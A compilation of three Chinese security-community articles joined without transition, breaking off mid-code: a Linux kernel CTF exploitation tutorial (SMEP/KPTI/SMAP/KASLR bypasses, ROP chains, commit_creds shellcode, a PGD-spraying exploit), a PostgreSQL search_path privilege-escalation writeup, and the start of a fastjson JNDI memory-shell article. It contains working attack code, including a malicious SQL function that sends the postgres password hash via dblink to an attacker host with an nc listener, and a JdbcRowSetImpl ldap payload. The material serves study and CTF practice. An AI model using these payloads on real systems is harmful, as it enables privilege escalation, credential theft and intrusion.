smep`，如果有匹配到一些信息的话就说明计算机开启了SMEP保护。在CTF赛事中一般会给一些kernel启动的sh脚本，从这些脚本里面我们也可以看出虚拟机在启动kernel时是否开启了SMEP保护：
#!/bin/sh
qemu-system-x86_64 -initrd initramfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-m 64M --nographic \
-smp cores=1,threads=1 \
这里是没开启SMEP的脚本，如果在脚本里面加入SMEP相关的cpu参数那么就是开启了SMEP机制。
#!/bin/sh
qemu-system-x86_64 -initrd initramfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-m 64M --nographic \
-smp cores=1,threads=1 \
-cpu kvm64,smep
还有一种判断SMEP机制是否开启的方法是通过cr4寄存器的值：
第20位代表的就是SMEP机制是否开启，获取cr4寄存器值的方法也很简单，一种可以通过debuger去attach要调试的kernel，另一种就是通过触发SMEP机制的crash
KPTI机制更多的是一种页表隔离的机制，当在用户态和内核态之间进行状态切换的时候KPTI机制会尽量减少用户态页表中的内核地址，同时内核页表中所有的用户态页都被设置为NX使得用户态的页不具备可执行权限，这是一种防范`Meltdown`类似攻击的机制。
检测KPTI机制是否开启的方法有很多，`cat /proc/cpuinfo | grep pti`或者类似上面说到的cpu参数`-cpu
kvm64,smep`，或者检查进程页表，但是这需要你可以查看物理内存，通过内核任意读取的原语可以做到，但是需要进行虚拟地址和物理地址之间的转换，这就需要你具备一定的内存管理知识和多级页表相关知识，这些基础知识这里就不细说了，下面举例一些demo看如何获取相关物理地址。
void *pgd = get_current()->mm->pgd;
get_current()
会帮助获取当前的`task_struct`，然后得到`mm_struct`结构体类型的mm成员，所有的进程地址空间都包含该结构体里面，其中pgd字段代表的是全局页目录，拿到地址之后进行页表地址转换就可以拿到对应的物理地址，那么在多级页表的处理过程中可以拿到每一级页表的入口地址，该地址的NX
bit就表明该页表是否开启了NX，结论就是，正常情况下每一级页表的NX位是没设置的，但是全局页目录设置了NX
bit，因为在多级页表解析的过程中全局页目录是共享的。
### ROP绕过
内核里面的rop和用户态其实是非常相似的，做rop最基本的就是先获取到`vmlinux`，以ctf赛题来说一般提供的都是压缩后的bzImage，这里可以通过[vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf)工具来实现解压缩：
./vmlinux-to-elf <input_kernel.bin> <output_kernel.elf>
然后通过ROPgadget或者ropper从vmlinux里面获取gadget
ROPgadget --binary vmlinux > gadgets
gadget的寻找原则其实不是固定的，要看场景丁需求，不过类似`mov esp, 0xf7000000 ;
ret`这样的一般都很不错（注意常量一定要对齐），可以将esp指向我们分配的地址然后接下来的ret操作就容易被控制进而执行rop链。但是ROPgadget是不会检查相关段是否开启了NX的。
对于SMEP来说，它由`cr4`寄存器控制，因此可以通过改变`cr4`寄存器的第20
bit的值来进行绕过，比如使用`native_write_cr4`函数：
void native_write_cr4(unsigned long val)
{
unsigned long bits_missing = 0;
set_register:
asm volatile("mov %0,%%cr4": "+r" (val), "+m" (cr4_pinned_bits));
if (static_branch_likely(&cr_pinning)) {
if (unlikely((val & cr4_pinned_bits) != cr4_pinned_bits)) {
bits_missing = ~val & cr4_pinned_bits;
val |= bits_missing;
goto set_register;
}
/* Warn after we've set the missing bits. */
WARN_ONCE(bits_missing, "CR4 bits went missing: %lx!?\n",
bits_missing);
}
}
EXPORT_SYMBOL(native_write_cr4);
但是从代码里面的警告就可以看出，在较新版本的内核中，该函数已经不能改变第20bit和第21bit的值了，
对于`KPTI`就比较麻烦了，一种方法是如果具备内核任意读写和当前进程页表的地址，那么就可以直接通过关闭NX
bit来实现，但是都任意读写了，直接修改cred结构体可能会更香一点。那么最好的方式其实应该去利用kernel本身的代码来帮助实现这一绕过过程，下面是[kernel
entry](https://github.com/torvalds/linux/blob/7ac63f6ba5db5e2e81e4674551d6f9ec58e70618/arch/x86/entry/entry_64.S)的部分代码，主要是用于内核态到用户态的切换，这其实很符合exp的需求，原本exp不能成功执行的主要原因就是在返回用户态之后执行的代码所在页其实属于内核，这个切换它成功的进行了页表切换，因接下来用到的就是用户态的页表，。
GLOBAL(swapgs_restore_regs_and_return_to_usermode)
#ifdef CONFIG_DEBUG_ENTRY
/* Assert that pt_regs indicates user mode. */
testb $3, CS(%rsp)
jnz 1f
ud2
1:
#endif
POP_REGS pop_rdi=0
/*
* The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
/* Copy the IRET frame to the trampoline stack. */
pushq 6*8(%rdi) /* SS */
pushq 5*8(%rdi) /* RSP */
pushq 4*8(%rdi) /* EFLAGS */
pushq 3*8(%rdi) /* CS */
pushq 2*8(%rdi) /* RIP */
/* Push user RDI on the trampoline stack. */
pushq (%rdi)
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
STACKLEAK_ERASE_NOCLOBBER
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
/* Restore RDI. */
popq %rdi
SWAPGS
INTERRUPT_RETURN
到此，其实就不难理解为什么kernel exp里面很多类似这样的ROP code:
pivot_stack[0] = 0xcafedeadbeef;
pivot_stack[i++] = pop_rdi;
pivot_stack[i++] = 0;
pivot_stack[i++] = prepare_kernel_cred;
pivot_stack[i++] = pop_rdx;
pivot_stack[i++] = 8;
pivot_stack[i++] = cmp;
pivot_stack[i++] = mov_rdi_rax;
pivot_stack[i++] = commit_creds;
pivot_stack[i++] = kpti_trampoline;
pivot_stack[i++] = 0x12345678; // RAX
pivot_stack[i++] = 0x87654321; // RDI
pivot_stack[i++] = (unsigned long)u_code; //userspace_rip;
pivot_stack[i++] = 0x33; //userspace_cs;
pivot_stack[i++] = 0x246; //userspace_rflags;
pivot_stack[i++] = (unsigned long)u_stack; //userspace_rsp;
pivot_stack[i++] = 0x2b; //userspace_ss;
至于最开始的0xcafedeadbeef，这其实是为了触发`page fault handler`，因此根据linux demand-on-paging的原则，只有触发该handler的情况下才会真正mmaping。
还有一种方法是通过[signal
handler](https://trungnguyen1909.github.io/blog/post/matesctf/KSMASH/)。
### get root
获取root权限的方式在内核里面还算比较统一的，基本很多都是通过
1. `commit_creds(prepare_kernel_cred(0))`。
2. 确定cred structure结构体的地址来进行权限提升。
3. ctf里面可能会用到的方法就是通过chmod 修改flag文件为777权限然后挂起，然后通过用户空间的一个进程来读取文件内容。
那么shellcode的写法就比较直接了，假设通过`cat /proc/kallsyms`得到了`grep commit_creds`和`grep
prepare_kernel_cred`的地址：
xor rdi, rdi
mov rcx, prepare_kernel_cred_addr
call rcx
mov rdi, rax
mov rcx, commit_creds_addr
call rcx
ret
这种shellcode没有做内核地址空间与用户地址空间的转换，因此可能比较局限，适用于仅仅存在一个`retun
0`类似指令的目标函数。为了适配更多的场景，需要做内核态和用户态的上下文切换，在linux kernel
[源码](https://github.com/torvalds/linux/blob/master/arch/x86/entry/entry_64.S)中详细介绍了如何进入内核态：
> 64-bit SYSCALL saves rip to rcx, clears rflags.RF, then saves rflags to
> r11,then loads new ss, cs, and rip from previously programmed MSRs.rflags
> gets masked by a value from another MSR (so CLD and CLACare not needed).
> SYSCALL does not save anything on the stackand does not change rsp.
>
> 注：[MSR](https://wiki.osdev.org/Model_Specific_Registers)
从内核态返回用户态可以通过Linux提供的一些指令`SYSRET`，`SYSEXIT`，`IRET`，其中SYSRET和IRET可以适用于所有的CPU供应商，并且被包含在`x86_64`的标准里面，SYSRET需要利用MSR特殊读写指令因而较为麻烦，因此一般采用`IRET`。该指令的含义就是从中断返回，通过查看AMD64手册可以看出在保护模式下`IRET`对应`IRETQ`，那么我们只需要在执行`IRETQ`之前按顺序放置好RIP,
CS, RFLAGS, RSP, SS，最后还需要知道的时候`swapgs`指令，它的语义是：Exchange GS base with
KernelGSBase MSR，在linux syscall entry的代码哪里也存在该指令的调用，因此在通过system
call返回用户空间的时候我们需要再做一次`swapgs`用于恢复GS。
swapgs
push userspace_ss
push userspace_rsp
push userspace_rflags
push userspace_cs
push userspace_rip
iretq
还有一种方法就是上述的第三条，第一步需要先找到chmod func的地址：
可以看到`__x64_sys_chmod`的地址是`0xffffffff872dacf0`，在内核调试中对该地址下断点就可以得到该如何给它附加参数：
movzx edx, word ptr [rdi + 0x68]
mov rsi, qword ptr [rdi + 0x70]
mov edi, 0xffffff9c
call 0xffffffff811a1b50
不过要记得，`/flag`字符串存放地址应该使用内核空间地址，同时由于Linux kernel本身采用的是 **Non-Preemptive
Threading Model** ，因此在kernel
thred的执行过程中一般不会进行上下文切换，除非调用了特殊的API，通过sleep当前thread其实就是一个很好的迫使kernel进行上下文切换的，当然kernel里面的sleep和用户态有很大的差别，需要调用不同的API，这里我选择的是msleep():
那么，完整的shellcode就有了：
; commit_cred(prepare_kernel_creds(0))
xor rdi, rdi
mov rcx, prepare_kernel_cred_addr
call rcx
mov rdi, rax
mov rcx, commit_creds_addr
call rcx
; chmod 777 flag
mov r15, 0x67616c662f
mov r14, 0xdeadf00
mov [r14], r15
mov rdi, 0xffffff9c
mov rsi, r14
mov rdx, 0777
mov rcx, x64_chmod_addr
call rcx
; msleep(0x1000000)
mov rdi, 0x1000000
mov rcx, msleep_addr
call rcx
int 3
然后我们让exp在后台执行，前台执行`cat flag`实现文件读取。
### 总结
在通过ROP编写shellcode的时候要注意两点：
1. 在exp中的mmap产生的shellcode地址不在之前kernel访问的页表里面，那么在执行的时候就会触发[double fault](https://en.wikipedia.org/wiki/Double_fault#:~:text=On%20the%20x86%20architecture%2C%20a,interrupt%20handler%20resides%20is%20invalid.)。
2. 栈指针必须在向上向下两个方向上都还剩比较宽阔的空间`unsigned long *pivot_stack = mmap((void *)0xf7000000-0x1000, 0x1000+0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);`，因为Linux kernel func 比如 `commit_creds`需要使用栈空间并且不能使用低于0xf7000000大小的地址，否则会引起uncatchable page fault，`MAP_GROWSDOWN`是无效的，因为它只能用于用户态。
## SMEP+PTI+SMAP+KASLR bypass
> KASLR就不多解释了，就是一个kernel的地址随机化
### SMAP
SMAP是`Supervisor Mode Access Prevention`，它使得用户态的指针无法在内核态被解引用，这无疑会使得ROP难以有效使用。
在qemu里面`-cpu kvm64,smep,smap`表明开启了SMAP机制，当然`cat /proc/cpuinfo | grep
smap`也可以看出来。
### SMAP bypass
通过分析linux kernel的mmap实现其实就可以知道我们可以通过类似linux kernel heap
spray的方式将用户空间的代码映射到内核里面，只需要用 **MAP_POPULATE** 的flag:
MAP_POPULATE (since Linux 2.5.46)
Populate (prefault) page tables for a mapping. For a file mapping, this causes read-ahead on the file. This will help to reduce blocking on page faults later. The mmap() call doesn't fail if the mapping cannot be populated (for example, due to limitations on the number of mapped huge pages when using MAP_HUGETLB). MAP_POPULATE is supported for private mappings only since Linux 2.6.23.
这是因为在通过该flag进行mmap的时候，物理页也会同时被映射而不是想之前按需映射的方式。下面是一个github提供的demo可以测算可mmap的地址大小：
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
int main (int argc, char **argv){
int cnt = 0;
void *pg;
while(1) {
pg = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0);
if (pg == MAP_FAILED) {
perror("mmap");
break;
}
else {
cnt++;
if (cnt % 1000 == 0) {
printf("[*] allocated %d pages, asking for more...\n", cnt);
}
}
}
printf("[*] number of pages allocated: %d\n", cnt);
return 0;
}
通过实验得出结论就是尽管RAM很小，但是最大mmap的值是它的数倍，同时该值会根据内存资源的大小来发生变化。同时物理页的分配有一个特点，
**那就是它们一般都是连续分配的**
。如此通过大量的mmap地址并填充信息，最终其实是可以在内核里面访问到这些信息的，如此就可以绕过SMAP的保护，因为我们不需要再解析用户态的指针，而是通过内核地址进行代码执行。
那么应该如何获得物理地址呢？通过[文档](https://www.kernel.org/doc/gorman/html/understand/understand006.html)发现，在Linux中每一个进程都维护一个指针`mm_struct->pgd`指向该进程的
**Page Global Directory (PGD)**
，表里面包含的是`pgd_t`数组，pgd_t定义在`asm/page.h`里面根据不同的架构拥有不同的值，在x86架构下`mm_struct->pgd`会被复制到cr3寄存器。
可以知道通过mmap拿到的是虚拟地址，因此需要做一个虚拟地址到屋里地址之间的转换，那么如何获取cr3或者说pgd的值呢，一方面可以通过内核获取另一方面可以通过`/proc/(pid)/pagemap`获取，还有一种很奇特的方法即是通过映射64bit的[39:48]形成的地址，这里一共是0xff个地址，此时在物理页表中就会生成大量稠密的地址，这些地址会有一些特征，比如：
1. 最高位为1。
2. 最低字节为0x67。
那么就可以通过遍历内核地址（一般从pageOffsetBase + (0x7c000 <<
12)开始）中的值来判断是否符合自己刚才通过spraying注入的大量地址，如果一个地址的内容符合自己注入的地址，同时索引0x100的结果为0，那么基本就能确定PGD的地址了。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <string.h>
#define VULN_READ 0x1111
#define VULN_WRITE 0x2222
#define VULN_STACK 0x3333
#define VULN_PGD 0x4444
#define VULN_PB 0x5555
#define SPRAY_CNT 0x10000
struct rwRequest {
void *kaddr;
void *uaddr;
size_t length;
};
unsigned long pageOffsetBase = 0xffff888000000000;
int Open(char *fname, int mode) {
int fd;
if ((fd = open(fname, mode)) < 0) {
perror("open");
exit(-1);
}
return fd;
}
void write64(unsigned long kaddr, unsigned long value) {
struct rwRequest req;
unsigned long value_ = value;
req.uaddr = &value_;
req.length = 8;
req.kaddr = (void *)kaddr;
int fd = Open("/dev/vuln", O_RDONLY);
if (ioctl(fd, VULN_WRITE, &req) < 0) {
perror("ioctl");
exit(-1);
}
}
unsigned long read64(unsigned long kaddr) {
struct rwRequest req;
unsigned long value;;
req.uaddr = &value;
req.length = 8;
req.kaddr = (void *)kaddr;
int fd = Open("/dev/vuln", O_RDONLY);
if (ioctl(fd, VULN_READ, &req) < 0) {
perror("ioctl");
exit(-1);
}
close(fd);
return value;
}
unsigned long leak_stack() {
struct rwRequest req;
unsigned long stack;
int fd = Open("/dev/vuln", O_RDONLY);
req.uaddr = &stack;
if (ioctl(fd, VULN_STACK, &req) < 0) {
perror("ioctl");
exit(-1);
}
close(fd);
return stack;
}
unsigned long leak_pgd() {
struct rwRequest req;
unsigned long pgd = 0xcccccccc;
int fd = Open("/dev/vuln", O_RDONLY);
req.uaddr = &pgd;
if (ioctl(fd, VULN_PGD, &req) < 0) {
perror("ioctl");
exit(-1);
}
close(fd);
return pgd;
}
unsigned long leak_physmap_base() {
struct rwRequest req;
unsigned long pgd = 0xcccccccc;
int fd = Open("/dev/vuln", O_RDONLY);
req.uaddr = &pgd;
if (ioctl(fd, VULN_PB, &req) < 0) {
perror("ioctl");
exit(-1);
}
close(fd);
return pgd;
}
int check_page(unsigned long addr) {
unsigned long page[0x101];
for (int i = 0; i < 0x101; i++) {
page[i] = read64(addr + i*8);
}
for (int i = 0; i < 0x100; i++) {
if (((page[i] & 0xff) != 0x67) || (!(page[i] >> 63))) {
return 0;
}
}
return page[0x100] == 0;
}
int main (int argc, char **argv){
void *pg;
unsigned long search_addr;
search_addr = pageOffsetBase + (0x7c000 << 12);
for (unsigned long i = 1; i < 0x100; i++) {
pg = mmap((void *)(i << 39), 0x1000, PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if (pg == MAP_FAILED) {
perror("mmap");
exit(-1);
}
}
printf("[*] starting search from addr %p\n", (void *)search_addr);
while(1) {
if (check_page(search_addr)) {
printf("[+] located the PGD: %p\n", (void *)search_addr);
break;
}
search_addr += 0x1000;
}
printf("[*] this is the actual PGD: %p\n", (void *)leak_pgd());
return 0;
}
如此可以在用户空间通过大量的mmap，然后拿到其物理地址，然后通过内核态的地址转换将该物理地址转换为内核的虚拟地址通过kernel
module进行读取就会发现内核可以读取到用户态的数据。
如此就知道绕过的原理了，总结一下就是通过内核空间和用户空间确定相同的物理页然后让kernel进行代码执行。
### KASLR bypass
KASLR其实就是内核态的地址随机化，类似用户态的做法，bypass可以通过确定基地址然后加上固定偏移来解决。但是观察`/proc/kallsyms`的内容发现一些符号其实是完全自己在随机，而不是拥有一个固定的偏移，这就引出了Linux
Kernel的一个机制[Function Granular
KASLR](https://lwn.net/Articles/824307/)，简单来说就是内核在加载的时候会以函数级别重新排布内核代码。
但是FG-KASLR并不完善，一些内核区域并不会随机化：
1. 不幸，commit_creds 和 prepare_kernel_cred在FG-KASLR的区域。
2. swapgs_restore_regs_and_return_to_usermode和__x86_retpoline_r15函数不受到FG-KASLR影响，这能帮助找到一些gadget。
3. 内核符号表ksymtab不受影响，这里存储了一些偏移可以用于计算prepare_kernel_cred和commit_creds的地址。
第三个比较感兴趣：
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
可以看出`value_offset`应该是比较有趣的，这个对应的值也可以通过`/proc/kallsyms`获取：
因此一般就可以在ROP中利用任意读读出相对应的偏移用于计算其它函数的具体位置。
## 总结
网上看到一段总结，感觉很不错：
1. 如果内核没有保护，就直接ret2usr。
2. 如果开了SMEP，就用ROP
3. 溢出或者位置被限制在栈上，就用pivot gadget进行栈迁移。
4. KPTI利用KPTI trampoline或者signal handler
5. SMAP会导致stack pivot很难利用
6. 如果没有KASLR，直接泄露地址就能用，开了的话就用基地址 + 偏移。
7. 如果有FG-KASLR，记得利用ksymtab和不受影响的区域。
## 参考链接
> <https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/>
> <https://github.com/pr0cf5/kernel-exploit-practice>
* * * | 社区文章 |
# 漏洞描述
A flaw was found in the way Postgresql allowed a user to modify the behavior
of a query for other users. An attacker with a user account could use this
flaw to execute code with the permissions of superuser in the database.
Versions 9.3 through 10 are affected.
漏洞影响版本：<https://www.securityfocus.com/bid/103221>
# 基本环境搭建
PostgreSQL(win平台)下载地址：
[PostgreSQL-9.6.7](https://www.openscg.com/bigsql/oscg_download/?file=packages/PostgreSQL-9.6.7-1-win64-bigsql.exe&user=${auth.authName})
$ psql -U postgres
postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT
基本环境如下：
超级用户：postgres
普通用户：chybeta
数据库： evil
# 漏洞分析/利用
## 基本场景
先看一些基本场景。普通用户chybeta登陆：
$ psql -U chybeta -d evil
通过`SELECT SESSION_USER;`获知当前的会话用户：
我们在`public`模式中创建一张表以及对应的字段:
evil=>
SELECT 1
紧接着进行查询:
evil=> SELECT * FROM test;
接着我们新创建一个模式（schema），其模式名即为chybeta，也即当前的SESSION_USER：
evil=> CREATE schema chybeta;
然后在`chybeta`模式中创建对应的表以及字段:
evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;
然后我们执行跟上次相同的查询语句:
evil=> SELECT * FROM test;
为什么两次查询出现了不同的结果呢？这个涉及到PostgreSQL的`search_path`。PostgreSQL
7.3后引入了`schema`的概念，称之为模式或者架构，允许用户在独立的命名空间中创建不同的对象（比如table，function）。在默认情况下，比如刚刚创建的一个数据库，都会有默认的一个`public`模式，在不做其他操作或者设定的情况下，诸如查询等操作都是在这个`public`中进行查询。
比如说:
SELECT * FROM test;
也即等价于:
SELECT * FROM public.test;
由于采用了独立的命名空间，因此在用户进行查询时，倘若涉及到对相同名字但在不同`schema`中的对象操作时，必然需要考虑一定的顺序。在PostgreSQL
9.6.7的官方文档中，[search_path
(string)](https://docs.postgresql.fr/9.6/pg96.pdf)说明了相关场景中的相应匹配动作，截取部分如下:
When there are objects of identical names in different schemas, the one found first in the search path is used.
If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)
The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.
即：
1. 首先适配原则，第一个找到的object被使用
2. 名为$user的schema由SESSION_USER决定
3. 如果`pg_catalog`不在path中则会最先查找它，如果在path中则按照指定顺序查找
第1、2点即如前面所示，但PostgreSQL在对第3点的实现上出现了`Design Error`(securityfocus的分类)，造成了代码执行漏洞。
## 利用方式
在Postgres的commit记录中，有如下[commit](https://github.com/postgres/postgres/commit/5770172cb0c9df9e6ce27c507b449557e5b45124):
As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo. Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.
上面的commit提到了两类的client applications。下文的较为直观的利用方式一是针对第二类client
applications（比如psql），然后利用方式二是通过第一类client applications来执行任意代码，相比较下更为隐蔽。
### 利用方式一
在系统schema`pg_catalog`中，定义了大量的函数，用pgAdmin3查看:
以函数abs系列为例，接受一个类型为bigint\smallint\intger\real\double
precision\numeric的参数，返回其绝对值。倘若我们传送一个非数值类型的参数呢，比如text，
evil=> select abs('chybeta');
由于并没有参数类型为text的abs函数，会直接报错：
但postgres提供了自定义函数的功能！我们创建如下函数：
CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
当我们再次执行同样的查询语句，根据postgres的设计流程，它会先去查找系统schema`pg_catalog`，但由于参数类型不同没有找到，接着按照`search_path`中的顺序查找，而我们定义的`abs(text)`存在于schema`public`中，参数符合，因此pg理所当然地执行了我们定义的函数:
注意一个点，这个函数是定义在schema`public`中的，也就是说对于进入到这个数据库的任何用户，只要他们调用了abs，且参数为text，都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:
不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢？因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schema`pg_catalog`中的另外一类函数比如lower(text)，upper(text)，它们分别将text类型的参数转成小写和大写，不过系统没有提供接受varchar参数的lower和upper，尽管可以进行类型转换，但对pg而言，最好的选择当然是参数类型恰好符合的恶意自定义函数。
创建一个表，值的类型为varchar：
CREATE TABLE public.hahahaha AS SELECT 'CHYBETA'::varchar AS contents;
创建对应的恶意函数:
CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;
对绝大部分用户而言，他们可能看大写的`CHYBETA`不爽，然后执行了lower函数，但在不知道/清楚类型的情况下，他们执行的是public中的恶意自定义函数。
只能打印`you are hacked by XXX`有毛用！！由于恶意自定义函数可以被超级用户调用到，因此也就有了相应的执行权限，最简单的比如提权。
先来看看权限情况（以超级用户为例），可以看到只有postgres的rolsuper是t，即true:
在用户chybeta登陆进evil数据库后，他创建了如下`upper函数`:
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE chybeta SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
注意这里是`VOLATILE`，具体原因参考 [官方文档:xfunc-volatility](https://www.postgresql.org/docs/8.2/static/xfunc-volatility.html)
另外一张table，小写的chybeta:
CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;
管理员一看，心中不爽：小写小写就知道小写，然后:
看上去一切正常，大写的大写。回到用户chybeta处，查看一下权限:
已经成为超级用户。
利用方法有很多，理论上只要能创建恶意函数，管理员调用，就是以管理员身份去执行恶意sql语句/代码。在这种情况中，如commit所说`Not included
are core client programs that run user-specified SQL commands, namely psql and
pgbench.`，被攻击用户是知道自己执行的sql语句，只是其中的某个function意义被掉包了。
### 利用方式二
安装完PostgreSQL后还会有一系列的工具，比如pg_dump、pg_dumpall等等。基于利用方式一，在创建了恶意函数的基础之上，可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定`search_path`，导致`public`的优先级比`pg_catalog`高，也就是说即使是在相同类型相同参数相同函数名的情况下，会选择`public`中的函数。相比第一种而言隐蔽性更强，同时有更高的可触发性。
为利用pg_dump中的sql语句，可以利用log来观察执行过程。在superuser的权限下`show
log_directory;`找到log目录，将目录下postgresql.conf中的约莫455行改为`log_statement =
all`。重启PostgreSQL后，使用pg_dump工具执行备份命令:
pg_dump -U postgres -f evil.bak evil
同时观察log输出，查找`statement: SET search_path =`，最后在某处我发现了一段这样的log:
可以看到在这段log中，有一处的`array_to_string`是没有指定schema的。在系统schema中它的定义如下：
在这里由于已经设定了`search_path`，为了能直接适配，这里创建的恶意函数的参数个数和类型都必须和`pg_catalog`中定义的相同，倘若不同则会按顺序匹配到正确的函数。
因为pg_dump在运行过程中开启的是`read only
transaction`，根据[官方文档](https://www.postgresql.org/docs/9.1/static/sql-set-transaction.html)：
The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.
是不允许执行下类操作的:
1. INSERT, UPDATE, DELETE, COPY FROM
2. all CREATE, ALTER, and DROP commands
3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed
不过并没有禁止`select`语句。如果开启了dblink，则可以利用查询来带出数据，比如用dblink_connect。因此我们创建这样的一个恶意函数：
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
远程vps上监听：
nc -lvv 12345
当管理员进行数据库备份时：
pg_dump -U postgres -f evil.bak evil
即可得到管理员密码：
# 漏洞修补
以下版本修复了该漏洞
PostgreSQL PostgreSQL 9.6.8
PostgreSQL PostgreSQL 9.5.12
PostgreSQL PostgreSQL 9.4.17
PostgreSQL PostgreSQL 9.3.22 | 社区文章 |
## 0x00 前言
最近听到一些小伙伴有fastjson注入内存马进行权限维持的需求，于是结合前阵子回显的系列以及内存马的文章，写了一个方便fastjson利用的一个工具。虽然在1.2.48之前已存在不出网就能利用的回显，显得本次利用很多余，但还是想把自己的调试思路写出来。此次调试虽然调试成功了，但很多代码细节还有些疑问，师傅们若是发现有错误的点请指出，本人将学习并纠正错误。
## 0x01 fastjson jndi利用
这里就拿最简单的fastjson<=1.2.24举例子，最简单的poc为
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://ip:port/xxx",
"autoCommit":true
}
SpringBoot 服务端代码为
import com.alibaba.fastjson.JSONObject;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Test {
public Test() {
}
@RequestMapping({"/test"})
public String test(@RequestBody String json) throws IllegalAccessException, InvocationTargetException, InstantiationException, MalformedURLException, ClassNotFoundException, NoSuchMethodException {
JSONObject.parseObject(json);
return "213";
}
}
Tomcat 服务端代码为
//web.xml
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>HelloTomcatServlet</servlet-name>
<servlet-class>org.TestTomcatServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>HelloTomcatServlet</servlet-name>
<url-pattern>/tomcat</url-pattern>
</servlet-mapping>
</web-app>
以及
import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;
public class TestTomcatServlet extends HttpServlet {
public TestTomcatServlet() {
}
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws IOException {
InputStream inputStream = httpServletRequest.getInputStream();
String content = IOUtils.toString(inputStream, "utf-8");
System.out.println(content);
JSONObject.parse(content);
OutputStream outputStream = httpServletResponse.getOutputStream();
outputStream.write("test".getBytes());
}
}
常见的利用为通过[marshalsec](https://github.com/mbechler/marshalsec),开启一个ldap或者rmi的服务，绑定http服务重定向至我们的http服务器，下载class文件进行利用，一般为反弹shell至公网的服务器。这里不对此利用再做进一步复现，网上资料比较多。
此次利用目的主要在扩展class文件利用上写入一个内存shell从而达到web权限维持和web回显的目的。
## 0x02 内存马
### 1、Sprinboot内存马
Springboot主要参考[基于内存 Webshell
的无文件攻击技术研究](https://www.anquanke.com/post/id/198886)该文章。
主要步骤为：获得当前代码运行时的上下文环境，并动态注册controller。
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition;
